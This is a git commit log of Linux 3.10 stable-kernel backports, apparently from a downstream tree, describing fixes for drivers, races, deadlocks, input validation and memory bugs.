commit c6823e1d3281d4fdddb4af14921999d85c422078 Author: Oliver Hartkopp Date: Mon Jan 5 18:40:15 2015 +0100 can: dev: fix crtlmode_supported check commit 9b1087aa5e86448fe6ad40a58964e35f3ba423d5 upstream. When changing flags in the CAN drivers ctrlmode the provided new content has to be checked whether the bits are allowed to be changed. The bits that are to be changed are given as a bitfield in cm->mask. Therefore checking against cm->flags is wrong as the content can hold any kind of values. The iproute2 tool sets the bits in cm->mask and cm->flags depending on the detected command line options. To be robust against bogus user space applications additionally sanitize the provided flags with the provided mask. Cc: Wolfgang Grandegger Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cfcff0e5820ad058efc62b55c6e4c10ac9dde53 Author: Andrew Lunn Date: Sun Jan 18 09:46:10 2015 -0600 bus: mvebu-mbus: fix support of MBus window 13 commit 38bdf45f4aa5cb6186d50a29e6cbbd9d486a1519 upstream. On Armada XP, 375 and 38x the MBus window 13 has the remap capability, like windows 0 to 7. However, the mvebu-mbus driver isn't currently taking into account this special case, which means that when window 13 is actually used, the remap registers are left to 0, making the device using this MBus window unavailable. As a minimal fix for stable, don't use window 13. A full fix will follow later. Fixes: fddddb52a6c ("bus: introduce an Marvell EBU MBus driver") Reviewed-by: Thomas Petazzoni Signed-off-by: Andrew Lunn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f78258c7ee82c193789527d8fe99b5367c8fdbec Author: Fabio Estevam Date: Wed Jan 14 11:11:03 2015 -0200 ARM: dts: imx25: Fix PWM "per" clocks commit 7ecd0bde5bfea524a843ad8fa8cb66ccbce68779 upstream. Currently PWM functionality is broken on mx25 due to the wrong assignment of the PWM "per" clock. According to Documentation/devicetree/bindings/clock/imx25-clock.txt: pwm_ipg_per 52 ,so update the pwm "per" to use 'pwm_ipg_per' instead of 'per10' clock. With this change PWM can work fine on mx25. Reported-by: Carlos Soto Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36ff7f15c7baba1a73b06deddba8d2b8a9bcf31a Author: Sasha Levin Date: Wed Dec 3 19:25:05 2014 -0500 time: adjtimex: Validate the ADJ_FREQUENCY values commit 5e5aeb4367b450a28f447f6d5ab57d8f2ab16a5f upstream. Verify that the frequency value from userspace is valid and makes sense. Unverified values can cause overflows later on. Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Sasha Levin [jstultz: Fix up bug for negative values and drop redunent cap check] Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6810e6f0c719e68380756cee4b3145ff29a4eac4 Author: Sasha Levin Date: Wed Dec 3 19:22:48 2014 -0500 time: settimeofday: Validate the values of tv from user commit 6ada1fc0e1c4775de0e043e1bd3ae9d065491aa5 upstream. An unvalidated user input is multiplied by a constant, which can result in an undefined behaviour for large values. While this is validated later, we should avoid triggering undefined behaviour. Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Sasha Levin [jstultz: include trivial milisecond->microsecond correction noticed by Andy] Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e5c0d2db170a4d828d8565f5f9591202ef07b1d Author: Joe Thornber Date: Fri Jan 23 10:00:07 2015 +0000 dm cache: share cache-metadata object across inactive and active DM tables commit 9b1cc9f251affdd27f29fe46d0989ba76c33faf6 upstream. If a DM table is reloaded with an inactive table when the device is not suspended (normal procedure for LVM2), then there will be two dm-bufio objects that can diverge. This can lead to a situation where the inactive table uses bufio to read metadata at the same time the active table writes metadata -- resulting in the inactive table having stale metadata buffers once it is promoted to the active table slot. Fix this by using reference counting and a global list of cache metadata objects to ensure there is only one metadata object per metadata device. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 158c7f3f7ad2713b2bfd58aad122b4997c23d51c Author: Brian King Date: Thu Oct 30 17:27:10 2014 -0500 ipr: wait for aborted command responses commit 6cdb08172bc89f0a39e1643c5e7eab362692fd1b upstream. Fixes a race condition in abort handling that was injected when multiple interrupt support was added. When only a single interrupt is present, the adapter guarantees it will send responses for aborted commands prior to the response for the abort command itself. With multiple interrupts, these responses generally come back on different interrupts, so we need to ensure the abort thread waits until the aborted command is complete so we don't perform a double completion. This race condition was being hit frequently in environments which were triggering command timeouts, which was resulting in a double completion causing a kernel oops. Signed-off-by: Brian King Reviewed-by: Wendy Xiong Tested-by: Wendy Xiong Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1e87694081c4f40e29ed6e46052d017f78f8587 Author: Chris Wilson Date: Fri Jan 2 09:47:10 2015 +0000 drm/i915: Fix mutex->owner inspection race under DEBUG_MUTEXES commit 226e5ae9e5f9108beb0bde4ac69f68fe6210fed9 upstream. If CONFIG_DEBUG_MUTEXES is set, the mutex->owner field is only cleared if the mutex debugging is enabled which introduces a race in our mutex_is_locked_by() - i.e. we may inspect the old owner value before it is acquired by the new task. This is the root cause of this error: # diff --git a/kernel/locking/mutex-debug.c b/kernel/locking/mutex-debug.c # index 5cf6731..3ef3736 100644 # --- a/kernel/locking/mutex-debug.c # +++ b/kernel/locking/mutex-debug.c # @@ -80,13 +80,13 @@ void debug_mutex_unlock(struct mutex *lock) # DEBUG_LOCKS_WARN_ON(lock->owner != current); # # DEBUG_LOCKS_WARN_ON(!lock->wait_list.prev && !lock->wait_list.next); # - mutex_clear_owner(lock); # } # # /* # * __mutex_slowpath_needs_to_unlock() is explicitly 0 for debug # * mutexes so that we can do it here after we've verified state. # */ # + mutex_clear_owner(lock); # atomic_set(&lock->count, 1); # } Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=87955 Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cf101267e15b531c1358ad4592f2bca2897471f Author: Michael Karcher Date: Sun Jan 18 00:36:15 2015 +0100 scripts/recordmcount.pl: There is no -m32 gcc option on Super-H anymore commit 1caf6aaaa47471831d77c75f094d4e00ad1ec808 upstream. Compiling SH with gcc-4.8 fails due to the -m32 option not being supported. From http://buildd.debian-ports.org/status/fetch.php?pkg=linux&arch=sh4&ver=3.16.7-ckt4-1&stamp=1421425783 CC init/main.o gcc-4.8: error: unrecognized command line option '-m32' ld: cannot find init/.tmp_mc_main.o: No such file or directory objcopy: 'init/.tmp_mx_main.o': No such file rm: cannot remove 'init/.tmp_mx_main.o': No such file or directory rm: cannot remove 'init/.tmp_mc_main.o': No such file or directory Link: http://lkml.kernel.org/r/1421537778-29001-1-git-send-email-kernel@mkarcher.dialup.fu-berlin.de Link: http://lkml.kernel.org/r/54BCBDD4.10102@physik.fu-berlin.de Cc: Matt Fleming Reported-by: John Paul Adrian Glaubitz Signed-off-by: Michael Karcher Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75582ec57d4942b162ac4288e7d95de315c76855 Author: Jason Lee Cragg Date: Sat Jan 17 12:28:29 2015 -0500 ALSA: usb-audio: Add mic volume fix quirk for Logitech Webcam C210 commit 6455931186bff407493135e74c5f32efd30860e2 upstream. Signed-off-by: Jason Lee Cragg Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12a78dc8e661f8df612ed2453c876676d6387a94 Author: David Jeffery Date: Mon Jan 19 13:03:25 2015 -0600 libata: prevent HSM state change race between ISR and PIO commit ce7514526742c0898b837d4395f515b79dfb5a12 upstream. It is possible for ata_sff_flush_pio_task() to set ap->hsm_task_state to HSM_ST_IDLE in between the time __ata_sff_port_intr() checks for HSM_ST_IDLE and before it calls ata_sff_hsm_move() causing ata_sff_hsm_move() to BUG(). This problem is hard to reproduce making this patch hard to verify, but this fix will prevent the race. I have not been able to reproduce the problem, but here is a crash dump from a 2.6.32 kernel. On examining the ata port's state, its hsm_task_state field has a value of HSM_ST_IDLE: crash> struct ata_port.hsm_task_state ffff881c1121c000 hsm_task_state = 0 Normally, this should not be possible as ata_sff_hsm_move() was called from ata_sff_host_intr(), which checks hsm_task_state and won't call ata_sff_hsm_move() if it has a HSM_ST_IDLE value. PID: 11053 TASK: ffff8816e846cae0 CPU: 0 COMMAND: "sshd" #0 [ffff88008ba03960] machine_kexec at ffffffff81038f3b #1 [ffff88008ba039c0] crash_kexec at ffffffff810c5d92 #2 [ffff88008ba03a90] oops_end at ffffffff8152b510 #3 [ffff88008ba03ac0] die at ffffffff81010e0b #4 [ffff88008ba03af0] do_trap at ffffffff8152ad74 #5 [ffff88008ba03b50] do_invalid_op at ffffffff8100cf95 #6 [ffff88008ba03bf0] invalid_op at ffffffff8100bf9b [exception RIP: ata_sff_hsm_move+317] RIP: ffffffff813a77ad RSP: ffff88008ba03ca0 RFLAGS: 00010097 RAX: 0000000000000000 RBX: ffff881c1121dc60 RCX: 0000000000000000 RDX: ffff881c1121dd10 RSI: ffff881c1121dc60 RDI: ffff881c1121c000 RBP: ffff88008ba03d00 R8: 0000000000000000 R9: 000000000000002e R10: 000000000001003f R11: 000000000000009b R12: ffff881c1121c000 R13: 0000000000000000 R14: 0000000000000050 R15: ffff881c1121dd78 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 #7 [ffff88008ba03d08] ata_sff_host_intr at ffffffff813a7fbd #8 [ffff88008ba03d38] ata_sff_interrupt at ffffffff813a821e #9 [ffff88008ba03d78] handle_IRQ_event at ffffffff810e6ec0 Signed-off-by: Pranav Vashi commit 97e63ad2e7110bef38ef718795477a399293c195 Author: Jim Lin Date: Thu Jan 8 20:25:05 2015 +0800 pinctrl: Fix two deadlocks commit db93facfb0ef542aa5d8079e47580b3e669a4d82 upstream. This patch is to fix two deadlock cases. Deadlock 1: CPU #1 pinctrl_register-> pinctrl_get -> create_pinctrl (Holding lock pinctrl_maps_mutex) -> get_pinctrl_dev_from_devname (Trying to acquire lock pinctrldev_list_mutex) CPU #0 pinctrl_unregister (Holding lock pinctrldev_list_mutex) -> pinctrl_put ->> pinctrl_free -> pinctrl_dt_free_maps -> pinctrl_unregister_map (Trying to acquire lock pinctrl_maps_mutex) Simply to say CPU#1 is holding lock A and trying to acquire lock B, CPU#0 is holding lock B and trying to acquire lock A. Deadlock 2: CPU #3 pinctrl_register-> pinctrl_get -> create_pinctrl (Holding lock pinctrl_maps_mutex) -> get_pinctrl_dev_from_devname (Trying to acquire lock pinctrldev_list_mutex) CPU #2 pinctrl_unregister (Holding lock pctldev->mutex) -> pinctrl_put ->> pinctrl_free -> pinctrl_dt_free_maps -> pinctrl_unregister_map (Trying to acquire lock pinctrl_maps_mutex) CPU #0 tegra_gpio_request (Holding lock pinctrldev_list_mutex) -> pinctrl_get_device_gpio_range (Trying to acquire lock pctldev->mutex) Simply to say CPU#3 is holding lock A and trying to acquire lock D, CPU#2 is holding lock B and trying to acquire lock A, CPU#0 is holding lock D and trying to acquire lock B. Signed-off-by: Jim Lin Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e903c538127a94b84af2729146ae0efeec491f9 Author: Johan Hovold Date: Tue Jan 13 13:00:05 2015 +0100 gpio: sysfs: fix gpio device-attribute leak commit 0915e6feb38de8d3601819992a5bd050201a56fa upstream. The gpio device attributes were never destroyed when the gpio was unexported (or on export failures). Use device_create_with_groups() to create the default device attributes of the gpio class device. Note that this also fixes the attribute-creation race with userspace for these attributes. Remove contingent attributes in export error path and on unexport. Fixes: d8f388d8dc8d ("gpio: sysfs interface") Cc: stable # v2.6.27+ Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8da694809fa56d073a3b0fba2d9e3c5d1d5b7919 Author: Johan Hovold Date: Tue Jan 13 13:00:04 2015 +0100 gpio: sysfs: fix gpio-chip device-attribute leak commit 121b6a79955a3a3fd7bbb9b8cb88d5b9dad6283d upstream. The gpio-chip device attributes were never destroyed when the device was removed. Fix by using device_create_with_groups() to create the device attributes of the chip class device. Note that this also fixes the attribute-creation race with userspace. Fixes: d8f388d8dc8d ("gpio: sysfs interface") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b20c562842ab6938c02697d955ff3a6943d1e72 Author: Greg Kroah-Hartman Date: Tue Jan 27 07:52:51 2015 -0800 Linux 3.10.66 Signed-off-by: Pranav Vashi commit d84ba2d9dded39e5d4bca3f9dc2450ab8b1147cd Author: Martin Schwidefsky Date: Wed Aug 13 12:01:30 2014 +0200 s390/3215: fix tty output containing tabs commit e512d56c799517f33b301d81e9a5e0ebf30c2d1e upstream. git commit 37f81fa1f63ad38e16125526bb2769ae0ea8d332 "n_tty: do O_ONLCR translation as a single write" surfaced a bug in the 3215 device driver. In combination this broke tab expansion for tty ouput. The cause is an asymmetry in the behaviour of tty3215_ops->write vs tty3215_ops->put_char. The put_char function scans for '\t' but the write function does not. As the driver has logic for the '\t' expansion remove XTABS from c_oflag of the initial termios as well. Reported-by: Stephen Powell Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64f0e5b6a3aa8ff8fdce8c40cb30a40b0bcbc375 Author: Martin Schwidefsky Date: Tue Jul 15 17:53:12 2014 +0200 s390/3215: fix hanging console issue commit 26d766c60f4ea08cd14f0f3435a6db3d6cc2ae96 upstream. The ccw_device_start in raw3215_start_io can fail. raw3215_try_io does not check if the request could be started and removes any pending timer. This can leave the system in a hanging state. Check for pending request after raw3215_start_io and start a timer if necessary. Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f5b85cd8343be260becfe5f6bf96c3e04dd1772 Author: Jerry Hoemann Date: Wed Oct 29 14:50:22 2014 -0700 fsnotify: next_i is freed during fsnotify_unmount_inodes. commit 6424babfd68dd8a83d9c60a5242d27038856599f upstream. During file system stress testing on 3.10 and 3.12 based kernels, the umount command occasionally hung in fsnotify_unmount_inodes in the section of code: spin_lock(&inode->i_lock); if (inode->i_state & (I_FREEING|I_WILL_FREE|I_NEW)) { spin_unlock(&inode->i_lock); continue; } As this section of code holds the global inode_sb_list_lock, eventually the system hangs trying to acquire the lock. Multiple crash dumps showed: The inode->i_state == 0x60 and i_count == 0 and i_sb_list would point back at itself. As this is not the value of list upon entry to the function, the kernel never exits the loop. To help narrow down problem, the call to list_del_init in inode_sb_list_del was changed to list_del. This poisons the pointers in the i_sb_list and causes a kernel to panic if it transverse a freed inode. Subsequent stress testing paniced in fsnotify_unmount_inodes at the bottom of the list_for_each_entry_safe loop showing next_i had become free. We believe the root cause of the problem is that next_i is being freed during the window of time that the list_for_each_entry_safe loop temporarily releases inode_sb_list_lock to call fsnotify and fsnotify_inode_delete. The code in fsnotify_unmount_inodes attempts to prevent the freeing of inode and next_i by calling __iget. However, the code doesn't do the __iget call on next_i if i_count == 0 or if i_state & (I_FREEING | I_WILL_FREE) The patch addresses this issue by advancing next_i in the above two cases until we either find a next_i which we can __iget or we reach the end of the list. This makes the handling of next_i more closely match the handling of the variable "inode." The time to reproduce the hang is highly variable (from hours to days.) We ran the stress test on a 3.10 kernel with the proposed patch for a week without failure. During list_for_each_entry_safe, next_i is becoming free causing the loop to never terminate. Advance next_i in those cases where __iget is not done. Signed-off-by: Jerry Hoemann Cc: Jeff Kirsher Cc: Ken Helias Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6381eb53a7c922d71dde2051a0378a036a8541e Author: Dan Carpenter Date: Mon Nov 10 17:11:21 2014 +0100 netfilter: ipset: small potential read beyond the end of buffer commit 2196937e12b1b4ba139806d132647e1651d655df upstream. We could be reading 8 bytes into a 4 byte buffer here. It seems harmless but adding a check is the right thing to do and it silences a static checker warning. Signed-off-by: Dan Carpenter Acked-by: Jozsef Kadlecsik Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 021c48c56abb435b72537392d764947c1354638a Author: Trond Myklebust Date: Fri Jan 2 15:05:25 2015 -0500 LOCKD: Fix a race when initialising nlmsvc_timeout commit 06bed7d18c2c07b3e3eeadf4bd357f6e806618cc upstream. This commit fixes a race whereby nlmclnt_init() first starts the lockd daemon, and then calls nlm_bind_host() with the expectation that nlmsvc_timeout has already been initialised. Unfortunately, there is no no synchronisation between lockd() and lockd_up() to guarantee that this is the case. Fix is to move the initialisation of nlmsvc_timeout into lockd_create_svc Fixes: 9a1b6bf818e74 ("LOCKD: Don't call utsname()->nodename...") Cc: Bruce Fields Cc: stable@vger.kernel.org # 3.10.x Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 346266a1b82d2c7ff2a80d801efbdd12db32f849 Author: Daniel Borkmann Date: Sat Jan 3 13:11:10 2015 +0100 x86, um: actually mark system call tables readonly commit b485342bd79af363c77ef1a421c4a0aef2de9812 upstream. Commit a074335a370e ("x86, um: Mark system call tables readonly") was supposed to mark the sys_call_table in UML as RO by adding the const, but it doesn't have the desired effect as it's nevertheless being placed into the data section since __cacheline_aligned enforces sys_call_table being placed into .data..cacheline_aligned instead. We need to use the ____cacheline_aligned version instead to fix this issue. Before: $ nm -v arch/x86/um/sys_call_table_64.o | grep -1 "sys_call_table" U sys_writev 0000000000000000 D sys_call_table 0000000000000000 D syscall_table_size After: $ nm -v arch/x86/um/sys_call_table_64.o | grep -1 "sys_call_table" U sys_writev 0000000000000000 R sys_call_table 0000000000000000 D syscall_table_size Fixes: a074335a370e ("x86, um: Mark system call tables readonly") Cc: H. Peter Anvin Cc: Andrew Morton Signed-off-by: Daniel Borkmann Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7727fe2c3aa5ad082846ded88713a1e1a101c4a Author: Richard Weinberger Date: Wed Dec 10 13:53:51 2014 +0100 um: Skip futex_atomic_cmpxchg_inatomic() test commit f911d731054ab3d82ee72a16b889e17ca3a2332a upstream. futex_atomic_cmpxchg_inatomic() does not work on UML because it triggers a copy_from_user() in kernel context. On UML copy_from_user() can only be used if the kernel was called by a real user space process such that UML can use ptrace() to fetch the value. Reported-by: Miklos Szeredi Suggested-by: Geert Uytterhoeven Signed-off-by: Richard Weinberger Tested-by: Daniel Walter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53287b8061971af52fb74e16d2ee17440b65eac2 Author: Dan Carpenter Date: Fri Dec 12 16:58:05 2014 -0800 decompress_bunzip2: off by one in get_next_block() commit b5c8afe5be51078a979d86ae5ae78c4ac948063d upstream. "origPtr" is used as an offset into the bd->dbuf[] array. That array is allocated in start_bunzip() and has "bd->dbufSize" number of elements so the test here should be >= instead of >. Later we check "origPtr" again before using it as an offset so I don't know if this bug can be triggered in real life. Fixes: bc22c17e12c1 ('bzip2/lzma: library support for gzip, bzip2 and lzma decompression') Signed-off-by: Dan Carpenter Cc: Alain Knaff Cc: Yinghai Lu Cc: "H. Peter Anvin" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 288f508dbe9fda618cdb00922b77a9269b781214 Author: Geert Uytterhoeven Date: Tue Jan 6 14:39:10 2015 +0100 ARM: shmobile: sh73a0 legacy: Set .control_parent for all irqpin instances commit b0ddb319db3d7a1943445f0de0a45c07a7f3457a upstream. The sh73a0 INTC can't mask interrupts properly most likely due to a hardware bug. Set the .control_parent flag to delegate masking to the parent interrupt controller, like was already done for irqpin1. Without this, accessing the three-axis digital accelerometer ADXL345 on kzm9g through /dev/input/event1 causes an interrupt storm, which requires a power-cycle to recover from. This was inspired by a patch for arch/arm/boot/dts/sh73a0.dtsi from Laurent Pinchart . Signed-off-by: Geert Uytterhoeven Fixes: 341eb5465f67437a ("ARM: shmobile: INTC External IRQ pin driver on sh73a0") Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0af7c8080286335a3f5a4bb248cc25dafc325a76 Author: Lennart Sorensen Date: Mon Jan 5 15:45:45 2015 -0800 ARM: omap5/dra7xx: Fix frequency typos commit 572b24e6d85d98cdc552f07e9fb9870d9460d81b upstream. The switch statement of the possible list of SYSCLK1 frequencies is missing a 0 in 4 out of the 7 frequencies. Fixes: fa6d79d27614 ("ARM: OMAP: Add initialisation for the real-time counter") Signed-off-by: Len Sorensen Reviewed-by: Lokesh Vutla Acked-by: Nishanth Menon Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3d0a01c968004a2adccc4c76dbe40046036e31d3 Author: Gary Bisson Date: Wed Dec 3 15:03:51 2014 -0800 ARM: clk-imx6q: fix video divider for rev T0 1.0 commit 81ef447950bf0955aca46f4a7617d8ce435cf0ce upstream. The post dividers do not work on i.MX6Q rev T0 1.0 so they must be fixed to 1. As the table index was wrong, a divider a of 4 could still be requested which implied the clock not to be set properly. This is the root cause of the HDMI not working at high resolution on rev T0 1.0 of the SoC. Signed-off-by: Gary Bisson Cc: Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3b143d5b15ed575d882b1fad974258992ee01fb Author: Dmitry Voytik Date: Thu Nov 6 22:46:20 2014 +0400 ARM: imx6q: drop unnecessary semicolon commit d2a10a1727b3948019128e83162f22c65859f1fd upstream. Drop unnecessary semicolon after closing curly bracket. Signed-off-by: Dmitry Voytik Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a88efe3495c24a405cce4aeb20e2f3a0d45eb62 Author: Fabio Estevam Date: Fri Dec 5 16:16:07 2014 -0200 ARM: dts: imx25: Fix the SPI1 clocks commit 7a87e9cbc3a2f0ff0955815335e08c9862359130 upstream. From Documentation/devicetree/bindings/clock/imx25-clock.txt: cspi1_ipg 78 cspi2_ipg 79 cspi3_ipg 80 , so fix the SPI1 clocks accordingly to avoid a kernel hang when trying to access SPI1. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42cf82754e0e7deed48b68790d7bf586d9b8fe03 Author: Dmitry Torokhov Date: Thu Jan 8 14:53:23 2015 -0800 Input: I8042 - add Acer Aspire 7738 to the nomux list commit 9333caeaeae4f831054e0e127a6ed3948b604d3e upstream. When KBC is in active multiplexing mode the touchpad on this laptop does not work. Reported-by: Bilal Koc Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99115cdd51cf5e41038c08e9dbb1c39d30c39c8e Author: Srihari Vijayaraghavan Date: Wed Jan 7 16:25:53 2015 -0800 Input: i8042 - reset keyboard to fix Elantech touchpad detection commit 148e9a711e034e06310a8c36b64957934ebe30f2 upstream. On some laptops, keyboard needs to be reset in order to successfully detect touchpad (e.g., some Gigabyte laptop models with Elantech touchpads). Without resettin keyboard touchpad pretends to be completely dead. Based on the original patch by Mateusz JoÅ„czyk this version has been expanded to include DMI based detection & application of the fix automatically on the affected models of laptops. This has been confirmed to fix problem by three users already on three different models of laptops. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81331 Signed-off-by: Srihari Vijayaraghavan Acked-by: Mateusz JoÅ„czyk Tested-by: Srihari Vijayaraghavan Tested by: Zakariya Dehlawi Tested-by: Guillaum Bouchard Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10e46c2fd771d2ab2943099997705aa3c43ef13e Author: Ahmed S. Darwish Date: Mon Jan 5 12:57:13 2015 -0500 can: kvaser_usb: Don't send a RESET_CHIP for non-existing channels commit 5e7e6e0c9b47a45576c38b4a72d67927a5e049f7 upstream. Recent Leaf firmware versions (>= 3.1.557) do not allow to send commands for non-existing channels. If a command is sent for a non-existing channel, the firmware crashes. Reported-by: Christopher Storah Signed-off-by: Olivier Sobrie Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 14e6b6afc5cc7123e61dbc33bf224ca72172fa11 Author: Ahmed S. Darwish Date: Mon Jan 5 12:52:06 2015 -0500 can: kvaser_usb: Reset all URB tx contexts upon channel close commit 889b77f7fd2bcc922493d73a4c51d8a851505815 upstream. Flooding the Kvaser CAN to USB dongle with multiple reads and writes in very high frequency (*), closing the CAN channel while all the transmissions are on (#), opening the device again (@), then sending a small number of packets would make the driver enter an almost infinite loop of: [....] [15959.853988] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853990] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853991] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853993] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853994] kvaser_usb 4-3:1.0 can0: cannot find free context [15959.853995] kvaser_usb 4-3:1.0 can0: cannot find free context [....] _dragging the whole system down_ in the process due to the excessive logging output. Initially, this has caused random panics in the kernel due to a buggy error recovery path. That got fixed in an earlier commit.(%) This patch aims at solving the root cause. --> 16 tx URBs and contexts are allocated per CAN channel per USB device. Such URBs are protected by: a) A simple atomic counter, up to a value of MAX_TX_URBS (16) b) A flag in each URB context, stating if it's free c) The fact that ndo_start_xmit calls are themselves protected by the networking layers higher above After grabbing one of the tx URBs, if the driver noticed that all of them are now taken, it stops the netif transmission queue. Such queue is worken up again only if an acknowedgment was received from the firmware on one of our earlier-sent frames. Meanwhile, upon channel close (#), the driver sends a CMD_STOP_CHIP to the firmware, effectively closing all further communication. In the high traffic case, the atomic counter remains at MAX_TX_URBS, and all the URB contexts remain marked as active. While opening the channel again (@), it cannot send any further frames since no more free tx URB contexts are available. Reset all tx URB contexts upon CAN channel close. (*) 50 parallel instances of `cangen0 -g 0 -ix` (#) `ifconfig can0 down` (@) `ifconfig can0 up` (%) "can: kvaser_usb: Don't free packets when tight on URBs" Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e0aeeba8de9d9df6df91a99defe8419802659cb Author: Ahmed S. Darwish Date: Mon Jan 5 12:49:10 2015 -0500 can: kvaser_usb: Don't free packets when tight on URBs commit b442723fcec445fb0ae1104888dd22cd285e0a91 upstream. Flooding the Kvaser CAN to USB dongle with multiple reads and writes in high frequency caused seemingly-random panics in the kernel. On further inspection, it seems the driver erroneously freed the to-be-transmitted packet upon getting tight on URBs and returning NETDEV_TX_BUSY, leading to invalid memory writes and double frees at a later point in time. Note: Finding no more URBs/transmit-contexts and returning NETDEV_TX_BUSY is a driver bug in and out of itself: it means that our start/stop queue flow control is broken. This patch only fixes the (buggy) error handling code; the root cause shall be fixed in a later commit. Acked-by: Olivier Sobrie Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1baf5a5a4ffbe7daafa96703a9835399d081fc0c Author: Johan Hovold Date: Mon Dec 22 18:39:39 2014 +0100 USB: keyspan: fix null-deref at probe commit b5122236bba8d7ef62153da5b55cc65d0944c61e upstream. Fix null-pointer dereference during probe if the interface-status completion handler is called before the individual ports have been set up. Fixes: f79b2d0fe81e ("USB: keyspan: fix NULL-pointer dereferences and memory leaks") Reported-by: Richard Tested-by: Richard Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2dc0651ddde907849987e6245b5b02f2f40873c Author: David Peterson Date: Tue Jan 6 15:00:52 2015 +0000 USB: cp210x: add IDs for CEL USB sticks and MeshWorks devices commit 1ae78a4870989a354028cb17dabf819b595e70e3 upstream. Added virtual com port VID/PID entries for CEL USB sticks and MeshWorks devices. Signed-off-by: David Peterson Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa90ba1ba9ec9b507048e9287991c77ded23d9e5 Author: Preston Fick Date: Sat Dec 27 01:32:41 2014 -0600 USB: cp210x: fix ID for production CEL MeshConnect USB Stick commit 90441b4dbe90ba0c38111ea89fa093a8c9627801 upstream. Fixing typo for MeshConnect IDs. The original PID (0x8875) is not in production and is not needed. Instead it has been changed to the official production PID (0x8857). Signed-off-by: Preston Fick Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e11a96ba33b90386959cbe547edfe1c62ea4336 Author: Arseny Solokha Date: Sat Dec 6 09:54:06 2014 +0700 OHCI: add a quirk for ULi M5237 blocking on reset commit 56abcab833fafcfaeb2f5b25e0364c1dec45f53e upstream. Commit 8dccddbc2368 ("OHCI: final fix for NVIDIA problems (I hope)") introduced into 3.1.9 broke boot on e.g. Freescale P2020DS development board. The code path that was previously specific to NVIDIA controllers had then become taken for all chips. However, the M5237 installed on the board wedges solid when accessing its base+OHCI_FMINTERVAL register, making it impossible to boot any kernel newer than 3.1.8 on this particular and apparently other similar machines. Don't readl() and writel() base+OHCI_FMINTERVAL on PCI ID 10b9:5237. The patch is suitable for the -next tree as well as all maintained kernels up to 3.2 inclusive. Signed-off-by: Arseny Solokha Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman 